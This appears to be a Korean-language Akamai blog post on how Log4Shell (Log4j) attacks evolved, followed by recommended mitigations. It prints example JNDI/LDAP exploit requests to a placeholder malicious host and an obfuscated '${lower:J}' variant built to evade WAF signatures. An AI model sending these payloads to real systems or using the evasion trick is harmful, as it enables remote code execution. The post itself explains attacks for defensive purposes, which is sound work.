Log4j 레트로스펙티브(Retrospective) Part 3: 발전 - 페이로드 및 공격 다각화
이 시리즈의 Part 2에서 데이터 탈취, 원격 코드 실행 악용, 위협 노출 등을 소개했습니다. 이 게시물에서는 조사를 계속하면서 발견한 공격의 진화에 대해 이야기하고자 합니다. (예: 2021년 12월 Akamai의 히데키 오카모토(Hidecki Okamoto)는 새로운 취약점을 발견했습니다.) Akamai는 지속적으로 상황을 모니터링하고 고객을 보호하기 때문에 두 가지 방향으로 진화하는 위협을 발견했습니다. 첫 번째는 페이로드와 관련되어 있습니다.
기업은 웹 애플리케이션 방화벽, 즉 WAF 같은 방어 조치를 통해 이러한 위협을 막고 있습니다. 이러한 시스템은 웹 요청에 악용 가능한 문자열이 있는지 검색하고 찾은 문자열을 모두 삭제합니다. 아주 간단한 예로 다음과 같이 서로 인접한 7개의 문자를 포함하는 웹 요청을 모두 삭제할 수 있습니다.
${jndi:
이렇게 하면 요청에서 강조 표시된 시그니처를 찾을 수 있으므로 다음과 같은 웹 기반 예제를 차단합니다.
GET /${jndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example
처음에는 이러한 시그니처를 찾는 것이 좋게 보일 수 있지만 Log4j에서 매우 복잡하고 중첩된 구조를 사용할 수 있다는 점을 기억해야 합니다. 공격자는 위 방어 수단을 피하기 위해 다음과 같이 공격할 수 있습니다.
GET /${${lower:J}ndi:ldap://rce.malware.example/a} HTTP/1.1
Host: www.webapp.example
이 예제에서는 앞서 사용한 7개의 인접한 특수 문자 ${jndi: 가 더 이상 존재하지 않으므로 WAF 시그니처를 성공적으로 우회할 수 있습니다.
Log4j가 로그용 수신 경로 /${${lower:J}ndi:ldap://rce.malware.example/a} 에서 무엇을 할 수 있는지 살펴보겠습니다.
첫째, ${lower:J} 조회식을 j로 확장해 다음과 같이 중간 문자열을 만듭니다.
/${jndi:ldap://rce.malware.example/a}
그리고 JNDI 조회식 ${jndi:ldap://rce.malware.example/a}에서 Log4j는 LDAP 유사 URL ldap://rce.malware.example/a 를 JNDI로 전달해 앞서 설명한 바와 같이 악용합니다.
이 결과 페이로드 구성이 차단되면 공격자가 페이로드를 수정해 시그니처 검사를 피하고 다시 공격하는 고양이와 쥐 게임이 시작됩니다.
Akamai에서는 위 내용과 비슷하거나 훨씬 더 발전된 페이로드 문자열을 조작하는 방법과 창의적인 콘텐츠 인코딩, 전송 인코딩, 문자 집합처럼 덜 명백한 접근 방식을 통해 검사를 우회하려는 시도를 확인했습니다.
두 번째 진화는 공격 대상과 프로토콜을 다각화하는 것입니다. 앞서 파트 2에서 알아본 것처럼웹 기반 애플리케이션이 현재 주요 공격 기법이지만, 웹 벡터의 보호와 패치가 강화됨에 따라 DNS와 기타 덜 명백한 프로토콜을 공격하는 시도가 증가하고 있습니다.
솔루션 및 방어
이 취약점에 활용할 수 있는 다양한 공격 기법의 엄청난 규모를 고려하면 유일한 해결 방법은 취약한 모든 시스템을 패치하는 것입니다. 그러나 앞에서 설명한 것처럼 일부 시스템은 업데이트 방법이 없는 임베디드 시스템이거나 공급업체의 일정이 원하는 만큼 빠르지 않을 수 있는 상용 애플리케이션이기 때문에 패치할 수 없습니다.
많은 기업이 처음에는 포괄적인 가시성을 확보하지 못해 취약한 시스템을 정확히 파악하지 못하기 때문에 방어 조치가 더욱 복잡합니다.
Akamai 블로그와 Guardicore 팀의 블로그에서 방어 조치에 대해 다루었습니다. Akamai는 다음과 같은 조치를 권장합니다.
1. 패치를 적용할 수 있는 시스템의 경우 즉시 패치를 적용하십시오.
가장 큰 뛰어난 보호 수단입니다. Log4j가 최신 버전(본 문서 작성 당시 2.17.0)을 실행하고 있는지 확인합니다.
2. 취약하다고 확인되었지만 Log4j를 업그레이드할 때까지 기다려야 하는 시스템의 경우 가능한 경우 다음 설정으로 위협면을 줄입니다.
Log4j 버전이 2.10 이상인 경우-Dlog4j2.formatMsgNoLookups=true를 시작 시 애플리케이션에 적용하면 조회식을 비활성화합니다.
Java의 경우 시스템에서 다음 설정이 true인지 확인합니다.
com.sun.jndi.ldap.object.trustURLCodebase=false
com.sun.jndi.rmi.object.trustURLCodebase=false
3. Akamai의 업계 최고 Kona 솔루션과 같은 WAF를 모든 웹 애플리케이션 앞에서 실행해 공격 시도를 걸러냅니다.
이 작업은 내부 및 외부 서버 모두에 대해 수행해야 합니다.
4. Akamai Secure Internet Access Enterprise 같은 DNS 방화벽을 실행해 운영 환경을 통과하는 의심스러운 DNS 페이로드를 파악하고 차단합니다.
5. 툴을 실행해 기본 아이언이나 클라우드 등 사용자 환경에서 실행되는 작업을 정확하게 파악합니다.
Akamai Guardicore Segmentation에서 제공하는 것과 같은 툴을 사용해 사용자 환경에서 실행되는 모든 것을 파악할 수 있습니다. 이러한 툴을 사용해 취약한 애플리케이션을 찾습니다.
6. 영향을 받는 애플리케이션의 통신을 최소화합니다.
Akamai Guardicore Segmentation에서 제공하는 것과 같은 ID 기반 분할을 활용해 취약한 시스템과 통신할 수 있는 시스템을 제한합니다.
다음 단계
이러한 방어 전략은 패치 전략을 설계하고 실행하는 동안 취약한 시스템에 대한 리스크를 크게 낮출 수 있습니다. 되돌아보기가 거의 완료되었습니다. 지금까지 Log4j 취약점의 배경, 악용, 방어 방법에 대해 살펴보았습니다. 파트 4부에서는 학습한 내용을 복습하겠습니다. 계속 관심을 가져주세요.
